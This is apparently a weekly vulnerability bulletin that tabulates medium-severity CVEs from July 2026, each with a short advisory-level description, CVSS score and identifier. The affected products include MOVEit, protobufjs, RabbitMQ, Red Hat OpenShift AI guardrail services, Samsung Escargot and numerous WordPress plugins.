| Progress--MOVEit Transfer                                 | Improper Neutralization of Special Elements in Data Query Logic vulnerability in Progress MOVEit Transfer (Custom Reports modules). This issue affects MOVEit Transfer: before 2025.0.7, from 2025.1.0 before 2025.1.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-08 | 6.4        | <a href="#">CVE-2026-8649</a>  |
| Progress--MOVEit Transfer                                 | Relative path traversal vulnerability in Progress MOVEit Transfer (Admin Settings module). This issue affects MOVEit Transfer: before 2025.0.7, from 2025.1.0 before 2025.1.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-08 | 4.5        | <a href="#">CVE-2026-8650</a>  |
| protobufjs--protobuf.js                                   | protobufjs compiles protobuf definitions into JavaScript (JS) functions. Prior to 7.6.5 and 8.6.6, protobufjs parsed option names by advancing through schema tokens until reaching an <code>=</code> token without checking for end of input, so a crafted <code>.proto</code> schema that opens an option declaration and ends prematurely can cause <code>parse</code> , <code>Root.load</code> , or <code>Root.loadSync</code> to loop indefinitely. This issue is fixed in versions 7.6.5 and 8.6.6.                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-08 | 5.3        | <a href="#">CVE-2026-59877</a> |
| protobufjs--protobuf.js                                   | protobufjs compiles protobuf definitions into JavaScript (JS) functions. From 8.2.0 until 8.6.5, the protobufjs Text Format extension parsed string-keyed map entries using ordinary property assignment, allowing a map entry with key <code>__proto__</code> to change the prototype of the returned map object instead of creating an own map entry in <code>protobufjs/ext/textformat</code> . This issue is fixed in version 8.6.5.                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-08 | 4.8        | <a href="#">CVE-2026-59876</a> |
| pydantic--pydantic-settings                               | pydantic-settings provides settings management using Pydantic. From 2.12.0 until 2.14.2, <code>NestedSecretsSettingsSource</code> reads secret values from files in a configured <code>secrets_dir</code> . When <code>secrets_nested_subdir=True</code> , a directory entry inside <code>secrets_dir</code> that is a symbolic link pointing outside <code>secrets_dir</code> is followed, so files outside the configured directory are read into settings values. The same code path bypasses the documented <code>secrets_dir_max_size</code> protection. An attacker or lower-privileged component able to influence entries in the configured secrets directory (for example, a writable or shared secrets mount) can turn this into an unintended local file read into settings and can defeat the advertised loading-size cap. This vulnerability is fixed in 2.14.2. | 2026-07-06 | 5.3        | <a href="#">CVE-2026-58203</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|----------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| pypa--setuptools           | setuptools is a package that allows users to download, build, install, upgrade, and uninstall Python packages. Prior to 83.0.0, FileList applied MANIFEST.in exclude, global-exclude, recursive-exclude, and prune directives by matching compiled glob patterns against on-disk file names without Unicode normalization, so on macOS APFS or HFS+ an NFD file name could bypass an NFC exclusion rule and be packed into a source distribution. This issue is fixed in version 83.0.0.                                                                   | 2026-07-08 | 6.1        | <a href="#">CVE-2026-59890</a> |
| python-pillow--Pillow      | Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.                                                                                                                                                                           | 2026-07-06 | 4.5        | <a href="#">CVE-2026-55798</a> |
| QILING--Disk Master        | A security vulnerability has been detected in QILING Disk Master 6.0.0.0. The impacted element is an unknown function in the library diskbckp.sys of the component Kernel Driver. Such manipulation leads to improper access controls. The attack can only be performed from a local environment. The exploit has been disclosed publicly and may be used. It is suggested to upgrade the affected component.                                                                                                                                              | 2026-07-12 | 5.3        | <a href="#">CVE-2026-15476</a> |
| Qualcomm, Inc.--Snapdragon | Memory Corruption when invoking device input/output control operations for mapping and unmapping persistent memory buffers due to improper synchronization.                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-06 | 6.6        | <a href="#">CVE-2025-59615</a> |
| Qualcomm, Inc.--Snapdragon | Memory Corruption when processing multiple IOCTL calls with the same buffer file descriptor input due to accessing already freed memory.                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-06 | 6.6        | <a href="#">CVE-2025-59616</a> |
| Qualcomm, Inc.--Snapdragon | Memory Corruption when processing multiple IOCTL calls with the same buffer file descriptor input.                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-06 | 6.6        | <a href="#">CVE-2025-59617</a> |
| Qualcomm, Inc.--Snapdragon | Memory Corruption when parsing jpeg commands due to unaccounted extra writes to the buffer during validation checks.                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-06 | 5.3        | <a href="#">CVE-2026-21368</a> |
| Qualcomm, Inc.--Snapdragon | Memory Corruption when handling flash commands due to outdated LED count values being used after userspace modification.                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-06 | 5.3        | <a href="#">CVE-2026-21369</a> |
| Qualcomm, Inc.--Snapdragon | Memory Corruption when validating input batch size and buffer plane count exceeds maximum allowed values.                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-06 | 5.3        | <a href="#">CVE-2026-21370</a> |
| Qualcomm, Inc.--Snapdragon | Memory Corruption when updating prepared commands with invalid port indices based on user space input exceeds supported read client limits.                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-06 | 5.3        | <a href="#">CVE-2026-21384</a> |
| QuantumNous--new-api       | New API is a large language model (LLM) gateway and artificial intelligence (AI) asset management system. Prior to 0.12.0-alpha.1, the email and WeChat account binding endpoints GET /api/oauth/email/bind and GET /api/oauth/wechat/bind used GET requests for state-changing account operations, allowing an attacker to trigger a logged-in user's browser to bind an attacker-controlled email address or OAuth identity in deployments where session cookies could be sent on cross-site navigations. This issue is fixed in version 0.12.0-alpha.1. | 2026-07-09 | 5.3        | <a href="#">CVE-2026-44342</a> |
| rabbitmq--rabbitmq-server  | RabbitMQ is a messaging and streaming broker. Prior to 4.1.11 and 4.2.6 on Windows, the RabbitMQ management plugin static file handler rabbit_mgmt_wm_static can pass URL-encoded backslashes to erl_prim_loader:read_file_info before path validation when multiple management extension plugins are enabled, causing outbound DNS and SMB requests to attacker-controlled UNC paths. This issue is fixed in versions 4.1.11 and 4.2.6.                                                                                                                   | 2026-07-10 | 6.5        | <a href="#">CVE-2026-57211</a> |
| rabbitmq--rabbitmq-server  | RabbitMQ is a messaging and streaming broker. Prior to 3.13.15, 4.0.20, 4.1.11, and 4.2.6, AMQP 0-9-1, AMQP 1.0, and Stream Protocol authentication can allow a loopback-restricted user such as guest to connect remotely when traffic is accepted through a trusted PROXY-protocol path and the backend listener is loopback-bound because the loopback check uses the listener-side socket address                                                                                                                                                      | 2026-07-10 | 6.8        | <a href="#">CVE-2026-57216</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                               | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                         | instead of the real client source. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, and 4.2.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |            |            |                                |
| rainafarai--Notification for Telegram                                   | The Notification for Telegram plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.5.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to create, modify, or reschedule the nftb_cron_hook WordPress cron event, enabling unauthorized manipulation of the plugin's background task scheduling logic.                                                                             | 2026-07-11 | 4.3        | <a href="#">CVE-2026-7620</a>  |
| Red Hat--Red Hat Directory Server 11                                    | A heap-buffer-overflow flaw was found in 389 Directory Server (389-ds-base). When normalizing a Distinguished Name (DN) that contains a legacy-quoted value encoding a multivalued nested Relative Distinguished Name (RDN), the server can write past the end of a heap allocation while sorting RDN attribute-value pairs. An unauthenticated remote attacker can trigger this condition by sending an LDAP operation whose DN reaches the DN normalization routine, such as a search with a crafted base DN. This can corrupt heap memory and may cause denial of service. | 2026-07-07 | 5.3        | <a href="#">CVE-2026-14940</a> |
| Red Hat--Red Hat Directory Server 11                                    | A flaw was found in 389-ds-base where the LDBM backend attribute encryption uses a hardcoded static initialization vector for AES-CBC and 3DES-CBC operations, allowing an attacker with privileged filesystem access to detect plaintext equality across encrypted entries by comparing ciphertext blocks.                                                                                                                                                                                                                                                                   | 2026-07-07 | 4.4        | <a href="#">CVE-2026-14969</a> |
| Red Hat--Red Hat Enterprise Linux 6                                     | A flaw was found in GIMP. The PlayStation TIM loader, responsible for handling PlayStation image files, incorrectly calculates the size of the Color Look-Up Table (CLUT) due to an integer overflow. This occurs when multiplying num_colors and num_cluts, both 16-bit unsigned short integers, resulting in a value exceeding the maximum integer limit. An attacker could exploit this by providing a specially crafted image file, leading to undefined behavior and causing the GIMP plug-in to abort, effectively resulting in a denial of service.                    | 2026-07-06 | 5.5        | <a href="#">CVE-2026-59089</a> |
| Red Hat--Red Hat JBoss Enterprise Application Platform 8.1              | A flaw was found in Jastow. Jastow is vulnerable to Cross-Site Scripting (XSS) attack. If using a set of combined configuration to allow unescaped characters in URL with embedded Undertow and Jastow, a server might be vulnerable to improper input handling.                                                                                                                                                                                                                                                                                                              | 2026-07-07 | 6.5        | <a href="#">CVE-2025-12799</a> |
| Red Hat--Red Hat OpenShift AI (RHOAI)                                   | A flaw was found in the TrustyAI Service Operator. When deploying services like gorch or NemoGuardrails, if a specific security setting is not enabled, these services can expose their communication channels without requiring users to prove their identity. This allows any other program within the cluster to access the AI guardrails and orchestrator without proper authorization. An attacker could exploit this to gain unauthorized access to sensitive information and potentially make limited changes to the AI models.                                        | 2026-07-08 | 6.3        | <a href="#">CVE-2026-15044</a> |
| Red Hat--Red Hat OpenShift AI (RHOAI)                                   | A flaw was found in the gorch service template, which is part of the trustyai-service-operator. Even when authentication is enabled, the gorch service exposes unproxied orchestrator and detector metrics ports. This allows any pod on the cluster network to directly access these ports, bypassing the kube-rbac-proxy and its authentication mechanisms. This could lead to unauthorized access to the orchestrator and detector metrics.                                                                                                                                | 2026-07-08 | 6.3        | <a href="#">CVE-2026-15063</a> |
| Red Hat--Red Hat OpenShift AI (RHOAI)                                   | A flaw was found in `guardrails-detectors`, a component of Red Hat OpenShift AI. This vulnerability, known as Regular Expression Denial of Service (ReDoS), allows a remote attacker to provide specially crafted regular expressions to the public detection API. This can cause catastrophic backtracking, leading to a worker process consuming 100% CPU indefinitely and resulting in a denial of service for the entire guardrails-mediated LLM pipeline.                                                                                                                | 2026-07-08 | 6.5        | <a href="#">CVE-2026-15154</a> |
| redefiningtheweb--Affiliate Program & Referral Tracking for WooCommerce | The Affilia - Affiliate Program & Referral Tracking for WordPress plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 3.3.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with                                                                                                                                                                                                                                            | 2026-07-11 | 4.3        | <a href="#">CVE-2026-7559</a>  |

# Medium Vulnerabilities

| Primary Vendor -- Product                                                                                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| & WordPress Affilia                                                                                            | subscriber-level access and above, to approve or reject affiliate referrals, credit commissions to affiliate wallets, delete referral records, and modify custom banner plugin options, enabling financial fraud. The nonce required to pass the only authentication check is embedded in every frontend page load via <code>rtwalwm_global_params.rtwalwm_nonce</code> , making it trivially accessible to any authenticated user regardless of role.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| reputeinfosystems --ARMember Membership Plugin, Content Restriction, Member Levels, User Profile & User signup | The ARMember plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 4.0.27 via the 'X-FILENAME' HTTP header. This makes it possible for unauthenticated attackers to upload and overwrite certain files (e.g., CSS) to directories outside the 'wp-content/uploads/armember' directory.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-10 | 5.3        | <a href="#">CVE-2026-15302</a> |
| revmaxx--Backup and Staging by WP Time Capsule                                                                 | The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.22.26 via the <code>download_recent_decrypted_file_wptc</code> . This makes it possible for authenticated attackers, with subscriber-level access and above, to extract download the most recently admin-decrypted SQL database backup, which typically contains password hashes, user credentials, and other sensitive site configuration data stored in the 'recent_decrypted_file' option. Exploitation requires that an administrator has previously performed a decrypt action, causing the decrypted SQL backup file to exist in the plugin's upload directory; without this prior admin action, there is no file to serve.                                                                                                                                                                         | 2026-07-09 | 6.5        | <a href="#">CVE-2026-8996</a>  |
| richardperdaan--MyParcel                                                                                       | The MyParcel plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.25.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to view and modify shipment options - including carrier, delivery type, package type, number of labels, weight, signature requirement, and insurance - on any arbitrary order.                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-11 | 4.3        | <a href="#">CVE-2026-8678</a>  |
| robin-w--bbp style pack                                                                                        | The bbp Style Pack plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 6.4.5 via the Topic Form Additional Fields feature. This is due to insufficient input sanitization in <code>bsp_topic_fields_form_save()</code> (which writes <code>\$_POST['bsp_topic_fields_label{n}']</code> directly to post meta via <code>update_post_meta()</code> with no filtering) and missing output escaping in <code>bsp_topic_content_append_topic_fields()</code> (which concatenates the stored meta value into an HTML <code>&lt;span&gt;</code> and echoes it via <code>apply_filters/echo</code> without <code>esc_html()</code> ). This makes it possible for authenticated attackers, with Subscriber-level access and above (who have bbPress topic-creation privileges), to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page, including unauthenticated visitors. | 2026-07-11 | 6.4        | <a href="#">CVE-2026-15010</a> |
| ronf--asyncssh                                                                                                 | AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework. Version 2.23.0 contains an incomplete fix for CVE-2026-45309 in <code>SSHServerConfig._set_tokens</code> that blocks <code>/</code> , <code>,</code> and <code>..</code> before <code>%u</code> substitution in <code>AuthorizedKeysFile</code> but does not block a leading <code>~</code> or <code>\${ENV}</code> , allowing later expansion in <code>_expand_val</code> and <code>Path(filename).expanduser()</code> to escape the intended authorized-keys directory. This issue is fixed in version 2.23.1.                                                                                                                                                                                                                                                                                      | 2026-07-08 | 5.9        | <a href="#">CVE-2026-54590</a> |
| room34--ICS Calendar                                                                                           | The ICS Calendar plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'htmltagtitle' parameter in all versions up to, and including, 12.0.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. The vulnerability is reachable via the unauthenticated <code>wp_ajax_nopriv_r34ics_ajax</code> AJAX action, which accepts attacker-controlled <code>js_args</code>                                                                                                                                                                                                                                                                                                                                                        | 2026-07-10 | 6.1        | <a href="#">CVE-2026-9838</a>  |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                                    | values merged over stored shortcode configuration without nonce verification, allowing the htmltagtitle key to bypass the normal shortcode allowlist check.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |            |            |                                |
| rtcamp--rtMedia for WordPress, BuddyPress and bbPress                                              | The rtMedia for WordPress, BuddyPress and bbPress plugin for WordPress is vulnerable to time-based SQL Injection via the order_by parameter in all versions up to, and including, 4.6.18 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                                                                               | 2026-07-10 | 6.5        | <a href="#">CVE-2026-15287</a> |
| rubengc--GamiPress Gamification plugin to reward points, achievements, badges & ranks in WordPress | The GamiPress - Gamification plugin to reward points, achievements, badges & ranks in WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 7.9.4 via the 'access' parameter due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to view private GamiPress activity log entries belonging to any user, including badge earnings, points balance changes, and event records from integrated plugins such as WooCommerce, LearnDash, and BuddyPress. This is exploitable by any unauthenticated visitor because the required 'gamipress' nonce is broadcast to all front-end users via wp_localize_script on the wp_enqueue_scripts hook, making the sole authentication barrier trivially bypassable. | 2026-07-09 | 5.3        | <a href="#">CVE-2026-13450</a> |
| saadiqbal--User Management                                                                         | The User Management plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.2. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to modify the plugin's export field configuration stored in the uiewp_export_field option, controlling which user fields such as password hashes are included in CSV exports and how columns are mapped during imports.                                                                                                                                                                                                                                                                                                                    | 2026-07-08 | 5.3        | <a href="#">CVE-2026-12097</a> |
| saadiqbal--WP Easy Pay Payment and Donation form Builder for Square                                | The WP Easy Pay - Payment and Donation form Builder for Square plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.5.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to set the status of arbitrary posts and pages to 'draft', effectively unpublishing arbitrary site content.                                                                                                                                                                                                                                                                                                                                            | 2026-07-11 | 4.3        | <a href="#">CVE-2026-12738</a> |
| safistudio--Bookero.pl system rezerwacji online                                                    | The Bookero.pl - system rezerwacji online plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'bookero_products' shortcode's 'hide_products' (and 'filter_products') attributes in versions up to and including 2.2. This is due to insufficient input sanitization and output escaping in the 'bookero_products()' function - the raw attribute value is concatenated directly into an inline '<script>' block without any escaping. This makes it possible for authenticated attackers with contributor-level access and above to inject arbitrary web scripts into pages that will execute whenever a user accesses the injected page.                                                                                                                                                            | 2026-07-09 | 6.4        | <a href="#">CVE-2026-6910</a>  |
| Samsung Open Source--Escargot                                                                      | Stack-based buffer overflow vulnerability in Samsung Open Source Escargot allows Overflow Buffers. This issue affects Escargot: before b30b63fc63b403907d8137da1c65aaa4521fe74e.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-09 | 6.1        | <a href="#">CVE-2026-58303</a> |
| Samsung Open Source--Escargot                                                                      | Out-of-bounds read, Out-of-bounds write vulnerability in Samsung Open Source Escargot allows Overflow Buffers. This issue affects Escargot: before 779f6bedf58f334dec64b0a51ebb724b4708b84a.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-09 | 6.1        | <a href="#">CVE-2026-58304</a> |
| Samsung Open Source--Escargot                                                                      | Access of resource using incompatible type ('type confusion') vulnerability in Samsung Open Source Escargot allows Pointer Manipulation. This issue affects Escargot: before 779f6bedf58f334dec64b0a51ebb724b4708b84a.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-09 | 6.1        | <a href="#">CVE-2026-58305</a> |
| Samsung Open Source--Escargot                                                                      | Heap-based buffer overflow vulnerability in Samsung Open Source Escargot allows Overflow Buffers. This issue affects Escargot: before ef525f337fafddced77a3c426212a84bb20cb98.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-09 | 6.1        | <a href="#">CVE-2026-58306</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product                                                                                     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Samsung Open Source--Escargot                                                                                 | Out-of-bounds read, Reachable assertion vulnerability in Samsung Open Source Escargot allows Overread Buffers, Input Data Manipulation. This issue affects Escargot: before 2dee22f5c7b8bf31cb7252d7731fae8c07f2842c.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-09 | 6.1        | <a href="#">CVE-2026-58307</a> |
| saskaita123--Invoice123                                                                                       | The Invoice123 plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.7.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to overwrite the plugin's API key stored in wp_options, modify invoice plugin settings, and alter WooCommerce tax rate data in the wp_woocommerce_tax_rates table.                                                                                                                                                                                                                                                                                     | 2026-07-10 | 4.3        | <a href="#">CVE-2026-9857</a>  |
| sayantandas20--Bulk Order Update for WooCommerce                                                              | The Bulk Order Update for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Read in versions up to, and including, 1.6. This is due to the bouw_fetch_csv_data() AJAX handler being registered on the wp_ajax_nopriv_ hook with no capability or nonce check, and passing the attacker-supplied csv_url POST parameter - filtered only by esc_url_raw() (which leaves absolute filesystem paths intact) and validate_file() (which only rejects '..' traversal patterns) - directly into fopen()/fgetcsv() and reflecting the first parsed line in the JSON response. This makes it possible for unauthenticated attackers to read the first line of arbitrary files on the server (such as /etc/passwd) and to use the handler as a file-existence oracle. | 2026-07-08 | 5.3        | <a href="#">CVE-2026-14500</a> |
| Sayax Energy Technologies Inc.--OSOS                                                                          | Insertion of sensitive information into sent data vulnerability in Sayax Energy Technologies Inc. OSOS allows Authentication Bypass. This issue affects OSOS: through 09072026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-09 | 6.5        | <a href="#">CVE-2026-1365</a>  |
| seaweedfs--seaweedfs                                                                                          | SeaweedFS is a distributed storage system. In versions 4.08 through 4.33, requests signed with SigV4 service s3tables are routed to the S3Tables management API where authorization collapses account-less S3 identities into the shared admin account and fails open, allowing an authenticated low-privileged S3 user to enumerate administrator-owned table bucket names and ARNs. This issue is fixed in version 4.34.                                                                                                                                                                                                                                                                                                                                                 | 2026-07-08 | 4.3        | <a href="#">CVE-2026-55873</a> |
| seedprod--Website Builder by SeedProd Theme Builder, Landing Page Builder, Coming Soon Page, Maintenance Mode | The Website Builder by SeedProd - Theme Builder, Landing Page Builder, Coming Soon Page, Maintenance Mode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `seedprodnestedmenuwidget` shortcode in all versions up to, and including, 6.20.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                  | 2026-07-08 | 6.4        | <a href="#">CVE-2025-14785</a> |
| showdown--showdown                                                                                            | showdown contains a stored cross-site scripting vulnerability in the parseHeaders function of src/subParsers/makehtml/tables.js that fails to properly escape table header ID attributes. Attackers can inject arbitrary HTML and script-executing SVG elements through double-quote characters in markdown table headers, achieving stored XSS when untrusted markdown is rendered with the default github flavor configuration.                                                                                                                                                                                                                                                                                                                                          | 2026-07-06 | 6.1        | <a href="#">CVE-2026-59710</a> |
| showdown--showdown                                                                                            | showdown contains a cross-site scripting vulnerability in metadata title handling that allows attackers to inject arbitrary HTML and JavaScript. When completeHTMLDocument option is enabled, unescaped less-than and greater-than characters in markdown frontmatter metadata are inserted directly into HTML title tags, enabling attackers to break out of the title context and execute malicious scripts in the rendered page.                                                                                                                                                                                                                                                                                                                                        | 2026-07-06 | 6.1        | <a href="#">CVE-2026-59711</a> |
| Siemens--CPCI85 Central Processing/Communication                                                              | A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions < V26.20), SICORE Base system (All versions < V26.20.0). The affected application includes a debugging interface that is accessible through HTTP                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-09 | 6.5        | <a href="#">CVE-2026-54798</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                | endpoints. This could allow an authenticated attacker to disrupt the system by crashing the web process causing denial of service conditions.                                                                                                                                                                                                                                                                                                                                                                                                                                       |            |            |                                |
| Siemens--CPCI85 Central Processing/Communication               | A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions < V26.20), SICORE Base system (All versions < V26.20.0). The affected application contains a vulnerability in its firmware update mechanism's signature validation process. This could allow an attacker to install malicious firmware, leading to persistent code execution and system compromise.                                                                                                                                                                                    | 2026-07-09 | 6.7        | <a href="#">CVE-2026-54799</a> |
| Siemens--CPCI85 Central Processing/Communication               | A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions < V26.20), SICORE Base system (All versions < V26.20.0). The affected application ships with a default configuration that disables all OPC UA security mechanisms. This could allow an attacker to gain unauthorized access and control over critical system functions.                                                                                                                                                                                                                | 2026-07-09 | 4.8        | <a href="#">CVE-2026-54800</a> |
| Sipeed--PicoClaw                                               | A security flaw has been discovered in Sipeed PicoClaw up to 0.2.9. Affected by this vulnerability is the function WebFetchTool.Execute of the file pkg/tools/integration/web.go of the component Guarded Web Fetch Flow. The manipulation results in server-side request forgery. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The reported GitHub issue was closed automatically due to inactivity.                                                                                                              | 2026-07-10 | 6.3        | <a href="#">CVE-2026-15317</a> |
| Sipeed--PicoClaw                                               | A weakness has been identified in Sipeed PicoClaw up to 0.2.9. Affected by this issue is some unknown functionality of the file pkg/channels/mqtt/mqtt.go of the component MQTT Channel Handler. This manipulation of the argument client_id causes incorrect authorization. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The reported GitHub issue was closed automatically due to inactivity.                                                                                              | 2026-07-10 | 6.3        | <a href="#">CVE-2026-15318</a> |
| Sipeed--PicoClaw                                               | A vulnerability was detected in Sipeed PicoClaw up to 0.2.9. This vulnerability affects the function rt.ReloadConfig of the file pkg/channels/pico/pico.go. Performing a manipulation of the argument message.send results in missing authorization. It is possible to initiate the attack remotely. The exploit is now public and may be used. The reported GitHub issue was closed automatically due to inactivity.                                                                                                                                                               | 2026-07-10 | 5.4        | <a href="#">CVE-2026-15320</a> |
| siyuan-note--siyuan                                            | SiYuan is an open-source personal knowledge management system. Prior to 3.7.1, the /api/storage/getCriteria endpoint returns saved search criteria from data/storage/criteria.json without the publish-access filtering used by sibling storage endpoints, allowing a publish-mode Reader to read private document paths, notebook, document, and block IDs, and search and replace keywords for unpublished documents. This issue is fixed in versions 3.7.1.                                                                                                                      | 2026-07-09 | 6.5        | <a href="#">CVE-2026-59853</a> |
| siyuan-note--siyuan                                            | SiYuan is an open-source personal knowledge management system. Prior to 3.7.1, POST /api/file/globalCopyFiles accepts attacker-supplied absolute source paths and relies on util.IsSensitivePath in kernel/util/path.go, whose denylist misses common home-directory credential files such as .git-credentials, .netrc, .pgpass, .kube/config, .docker/config.json, and .gnupg, allowing an authenticated administrator or API-token user to copy those files into the workspace and exfiltrate them through the file API. This issue is fixed in versions 3.7.1-alpha.2 and 3.7.1. | 2026-07-09 | 4.9        | <a href="#">CVE-2026-59854</a> |
| smub--Smash Balloon Social Photo Feed Easy Social Feeds Plugin | The Smash Balloon Social Photo Feed - Easy Social Feeds Plugin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 6.11.1. This is due to missing or incorrect nonce validation on the maybe_connection_data function. This makes it possible for unauthenticated attackers to overwrite the site's Instagram and Facebook oEmbed access tokens via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.                                                           | 2026-07-08 | 4.7        | <a href="#">CVE-2026-12002</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
